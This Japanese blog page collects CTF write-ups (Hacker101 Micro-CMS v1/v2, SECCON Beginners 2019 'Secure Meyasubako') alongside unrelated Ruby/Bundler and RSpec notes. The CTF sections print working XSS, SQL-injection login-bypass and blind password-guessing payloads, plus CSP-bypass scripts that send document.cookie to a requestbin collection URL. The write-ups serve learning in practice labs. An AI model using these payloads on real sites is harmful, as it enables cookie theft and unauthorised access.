セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

【Write-up】Micro-CMS v1 Micro-CMS v2 【hacker101CTF】

A little something to get you started

ソースのheadをみると、背景画像としてbackground.pngを読んでいるっぽいので、URLにベタ書きして飛んでみるとフラグ発見。
レスポンスのContent-Typeimage/pngではなくtext/htmlなのでそもそも画像じゃなさそう。




Micro-CMS v1

自分で、サイトのページを作成できるサイトで、タイトルと内容を入力できるようです。

flag0

ページを新規生成するとページのインデックスが8から始まります。既存ページとの間を調べていくとpage/5だけ403が帰ってきます。色々考えた結果、どうやらpage/edit/5で編集ページには飛べるっぽいです。(手探りで見つけた)そこの内容編集ページにフラグが残ってました。

flag1

編集ページのURLの末尾に'を入れてアクセスすると、フラグが得られます。http://ドメイン/page/edit/1'
想定としては、ルーティング処理の際に、ページのインデックスを'を含めそのまま処理を行ってしまい、エラーが起こる事があるよ。といった感じでしょうか?エスケープ忘れとかですかね。

flag2

ページ編集より、タイトルの部分に<script>alert('xss')</script>と入力し保存、トップページに戻ると仕込んだアラートとフラグを出力する謎のアラートが実行されました。多分、エスケープできていないって事を見つけたのがゴールという設定でしょうか?

flag3

内容記述部分は、scriptという文字をscrubbedエスケープ?して値を保存するので、jsは仕込めなさそうです。が、HTMLタグは埋め込めるようです。サンプルページではbuttonタグが生きているので、<button onclick=alert("xss")>call</button>を仕込んで保存。見事alertが表示され、ソース部分にflag属性が追加されていました。

Micro-CMS v2

前の問題に認証機構が実装されたみたい。

flag0

既存ページをエディットしようとするとログインが求められますので、SQLインジェクションを狙ってみる。とりあえず' OR '1'='1' --とか入れてみる。するとエラーが表示された

Traceback (most recent call last):
  File "./main.py", line 145, in do_login
    if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
    raise errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1")


処理がわかりました。のちに気づきますが、request.form['username'].replace('%', '%%')はおそらく意味なしてない。処理の時点でデコードされているはず?なので、'とか普通に使えてそうです。エラー内でもちゃんと認識されているし。

処理をよくみると、adminsテーブルからpasswordカラムをとってる事がわかるので、次の処理はおそらくそれがフォームから入力されたパスワードと一致するかという事。

username: ' UNION SELECT '1' AS password#
password: 1

ログインに成功するので、ホームに戻ると非表示だったページが出現するのでそこにフラグがありました。

flag1

全くわからなかったです。ログインしていない状態で、ページ編集のURLにPOSTで繋ごうとすると、フラグのページにリダイレクトします。POSTへの書き換えはZAPとかでブレークして書き換えました。

GET http://35.227.24.107/e05c78ea4d/page/edit/1 HTTP/1.1 # POSTに書き換え

試しに、flag0を用いてログイン済みで同じ事をすると400が返されました。なので、この問題の趣旨はおそらく、ログイン要求ページのリダイレクト処理に、不備がある事があるよ(GETだけを想定していて、POSTは想定外の動作をする)って事なのでしょう。勉強になります。。

flag2

username: ' OR '1'='1'#

で、エラーがunknown userからInvalid passwordに変わるのが確認できていたので、パスワードのブルートフォースで解くのかなと思ったのですが、Burpのフリーの速度が遅かったりhydraのパスワードリスト作るのピンときていなかったりで、諦めたらどうやらもう少し絞れるらしい。


username: ' OR LENGTH(password) = 5 #

で、パスワードの長さが一致するものを取得できます。上の数字部分は適宜変えて試しますが、結果的に長さは5。この手法はおそらくたくさん登録されている場合、あまり意味をなさないかもです。次の手法もそうですが。

' or password LIKE "%x"#

xには検索したい文字を代入します。LIKE句により、%は任意の文字数をさすようになります。replaceの影響で%%xに変化しますが、動作的には変わらなそう?詳しい人いたら教えてください。
%%x => 末尾の文字判定 x%% => 先頭の文字判定 %x% => 使用されている可能性のある文字。今回は長さが5と分かっているので追加で最大3文字見つかるはずです。

余談ですが、LIKE句_は任意の1文字なので、これを使ってパスワードの長さを測るのもありです。

判定するときの目印ですが、帰ってくるエラーがPasswordのエラーの場合はクエリが成功しているので、予測は正しいと判断します。

BurpIntruderを使って総当たりします。(フリー版はめちゃ遅いのでなるべく手数を減らす)まず末尾の1文字を当てに生きます。
proxyよりログインのリクエストを拾って、Intruderに登録します。 f:id:thinline196:20190622231607p:plain このリクエストではusernameの部分に以下のクエリを仕込んでます。

' or password LIKE "%x"#


そしてIntruderの画面で変化させる部分をマーク(add) f:id:thinline196:20190622231728p:plain

Payloadタブで、ブルートフォースを選んで使用する文字とパターンの長さを指定します。 f:id:thinline196:20190622232052p:plain
元のページのstart attackボタンで開始すると下の結果が得られました。1つだけサイズが違うので目星はつけやすいはずです。f:id:thinline196:20190622232207p:plain

同じように先頭と中間文字も調べ次のような文字と推測ができました。

k + "eor"+ y

後は中間の並びを総当たりして終わりです。この時は、usernameには' OR '1'='1'を仕込んで、passwordクエリに総当たりを仕掛けました。 f:id:thinline196:20190622232544p:plain



結果の画面撮ってないですが、ログインに成功し、フラグが表示されます。余談ですが、このパスワードはサーバ立ち上げ毎に変わるっぽいです。

【Ruby】プロジェクトにRubyとBunlderのバージョンを合わせる

プロジェクトをクローン

してきた後、bundle installを走らせると思うのですが、その際にプロジェクトのRubyにバージョンを合わせる必要があるので、備忘録

rubyのバージョン

Gemfile.lockファイルの一番下に書いてある場合。

RUBY VERSION
   ruby 2.3.3p222
BUNDLED WITH
   1.16.0


もしくはGemfileの先頭に書いてあったり?

# 一例
ruby ['2.3.xx', RUBY_VERSION].max


rbenv

rbenvRubyを管理していると思うので、以下のコマンド

$ rbenv insatall 2.3.3
$ rbenv local 2.3.3
$ruby -v

[https://qiita.com/am/items/c1dbeb11f40bbbac8fd9:embed:cite]


bundlerのインストール

特定のバージョンをインストールする

$gem install bundler -v 1.11.2


バージョンを指定して実行。

$ bundle _1.11.2_ install

qiita.com

こんな感じでいけます。きっと

【Ruby】bundle install libv8のエラー

bundle installのコマンドで通したい

$ gem install libv8 -v '3.11.8.17' -- --with-system-v8 単体でインストールの紹介はされているが、上コマンド一発で通す場合。

qiita.com

blog.skylarking.me

これに追記

/.bundle/config

---
BUNDLE_PATH: "vendor/bundle"
BUNDLE_BUILD__LIBV8: "--with-system-v8" #これ
~

【SECCON for Beginners 2019】[web]Secure Meyasubakoから勉強する

Secure Meyasubako

という問題があったのですが、全くよく分からなかったので書きながら勉強したつもりになる記事です。

ちなみに問題は、意見を管理者に送信できるフォームサイトが与えられ、内容をサイト管理者に読ませることができます。

強い皆さんのWrite-up

graneed.hatenablog.com

qiita.com

問題

下のソースが渡される。

const puppeteer = require('puppeteer');
const flag = process.env.FLAG;
const browser_option = {
    executablePath: 'google-chrome-stable',
    headless: true,
    args: [
        '--no-sandbox',
        '--disable-background-networking',
        '--disable-default-apps',
        '--disable-extensions',
        '--disable-gpu',
        '--disable-sync',
        '--disable-translate',
        '--hide-scrollbars',
        '--metrics-recording-only',
        '--mute-audio',
        '--no-first-run',
        '--safebrowsing-disable-auto-update',
    ],
};
const default_cookie = {
    "domain": current_host,
    "expirationDate": 1597288045,
    "hostOnly": false,
    "httpOnly": false,
    "name": "flag",
    "path": "/",
    "sameSite": "no_restriction",
    "secure": false,
    "session": false,
    "storeId": "0",
    "value": flag,
    "id": 1
}
<br>
これにより、フラグが`cookie`に含まれていること、`Content-Security-Policy`が含まれていなことに目をつける。

/* ... */

const browser = await puppeteer.launch(browser_option);
const page = await browser.newPage();
await page.goto(current_host, {waitUntil: 'networkidle2'});
await page.setCookie(default_cookie);
await page.goto(url, {waitUntil: 'networkidle2'});
await page.waitFor(3000);
await browser.close();

CSPバイパスとは?

Content-Security-Policyの略だそうで、以下の制限がかかるそうです。

外部のJavaScriptの読み込みは禁止
HTMLソースに記述した<script>...</script>のJavaScriptは禁止
イベント属性(onload="xxxx"など)は禁止
# 引用元:https://blog.eg-secure.co.jp/2013/12/Content-Security-Policy-CSP.html


使い方はこのサイトで確認。js読み込みを許可するソースを書いていく方式らしい。

CSP Evaluatorなんてものもあるのでこれでチェックできる。

CSP Evaluator

今回

CSPのBypassの手法として、CSPCDNが指定されている場合にangularjsなどの古いバージョンを利用してバイパスすることができるらしいです。
なのでフラグのcookieを所持している管理者にスクリプトを実行させる事で、自サーバにcookie情報を送ってもらうようにしてやります。


幸いにも今回の問題のフォームは一切エスケープされていないので、攻撃コードをそのまま送信可能です。フォームに以下のコードを入力して送信します。送信先を自サーバに設定したいのですが、持ってないのでRequestsBinで受け付けます。

<div class=""ng-app ng-csp><base href=//cdnjs.cloudflare.com/ajax/libs/><script src=angular.js/1.0.1/angular.js></script><script src=prototype/1.7.2/prototype.js></script>{{$on.curry.call().console.log($on.curry.call().location=("http://requestbin.fullcontact.com/xxxxxxxx/?"+$on.curry.call().document.cookie))}}</div>



追記

作問者さんからリプがきて、JSONPを利用して解く方法を教えてもらったので、書いておく。

JSONPとは
JSON with paddingの略で、クロスサイト環境で他のオリジンから JSON データを取得する方法。Same-Origin Policyにより通常は弾かれてしまうが、<script src="...">内ではJavaScript を読み込める事を利用し、自分か用意したコールバック関数を呼ばせる事により、取得する。(おそらくここのJavaScript内での読み込み制限をCSPでかけているはず)

僕は下の2つのサイトを見てなんとなく理解できました。

JSONP
いまさら聞けないJSONPのまとめ

他の方のWrite-up1

まずこっちの回答ではangularjsのバージョンは気にしていないと思われる。で、自分でクリックイベント時にlocation.replaceで指定したページに飛ぶようなメソッドを用意しておいて、管理者にこのメソッドをコールバックで呼ばせます。グーグルのページはおそらくSCPの許可リストにあったはず。callbackクエリはコールバック関数名をパラメータとして渡せるとのこと。なので、先ほど用意したクリックイベントのidであるpを指定しているのだと思います。

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.1.3/angular.min.js"></script>
<div ng-app ng-csp id=p ng-click=$event.view.location.replace("http://myserver?q="+$event.view.document.cookie)>
<script async src=https://www.google.com/complete/search?client=chrome&q=aaaa&callback=p.click></script>
#引用元:https://graneed.hatenablog.com/entry/2019/05/26/151534#Secure-Meyasubako


僕はこんな感じに改変してみました。

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.1.3/angular.min.js"></script> <div ng-app ng-csp id=p ng-click=$event.view.location.replace("http://requestbin.fullcontact.com/xxxxxxx/?f="+$event.view.document.cookie)> <script async src=https://www.google.com/complete/search?client=chrome&callback=p.click></script>


ちなみにこのグーグルのページは次のような内容を返します。

p.click && p.click(["",[],[],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:suggesttype":[],"google:verbatimrelevance":851}])



他の方のWrite-up2

こちらは作問者さんにリンクしていただいたリプを参考にしました。

<script src="https://www.google.com/complete/search?client=chrome&jsonp=window.location.replace([`http://requestbin.fullcontact.com/xxxxxxx/`,document.cookie].join())"><script>
#参考元:https://twitter.com/kazkiti_ctf/status/1132540259852439553?s=20


jsonpというクエリに遷移先を直接指定している感じです。スマートでいいですね。ちなみにグーグル自体のレスポンスはこんな感じ。

window.location.replace([`http://requestbin.fullcontact.com/xxxxxxx/`,document.cookie].join())(["",[],[],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:suggesttype":[],"google:verbatimrelevance":851}])



追記の余談

先ほどから使っているgoogleのページはなんなんだ?てことでググってこのページにたどり着きました。どうやら元々は検索キーワードの候補を取得するAPIのよう。



追記ここまで

おわりに

次きたら絶対解けるようにしておこう

【RSpec】includes, preload等のキャッシュのテスト

よくググり直すので備忘録。

Rails: ActiveRecord関連付けのpreload/eager-loadをテストする2つの方法(翻訳)

###
scope :with_targets{ includes(:targets)}
###
subject{Hoge.with_targets}

expect(subject.first.association(:targets).loaded?).to eq true